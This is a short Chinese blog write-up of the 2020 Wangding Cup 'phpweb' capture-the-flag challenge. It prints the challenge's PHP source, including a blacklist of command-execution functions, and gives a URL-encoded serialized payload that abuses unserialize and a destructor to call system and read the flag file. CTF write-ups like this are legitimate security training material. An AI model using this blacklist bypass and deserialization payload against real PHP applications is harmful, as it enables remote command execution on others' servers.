[网鼎杯 2020 朱雀组]phpweb

最新推荐文章于 2025-12-26 18:05:26 发布

原创最新推荐文章于 2025-12-26 18:05:26 发布 · 141 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#php

Buuctf刷题篇专栏收录该内容

41 篇文章

订阅专栏

本文讲述了如何在PHP中通过序列化绕过禁止的函数列表，实现对'系统'函数的间接调用，以解决实际问题的过程。

每天一题，记录学习

在这里插入图片描述

猜测这里大概是调用了date() 函数，抓包看看，和猜测是一样的

那么接下来就好办了，前面是函数，后面是参数
读个文件看看

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

和想的一样，这里有call_user_func($func, $p);，但是禁用了很多很多的函数，不能够直接读取 flag
但可以利用 serialize 来序列化绕过对函数的检测
在这里插入图片描述

payload
func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A30%3A%22tac+..%2F..%2F..%2Ftmp%2Fflagoefiu4r93%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D

······
这道题的思路还是比较清楚的，就是直接使用函数不行，但可以通过反序列化来达到执行函数的目的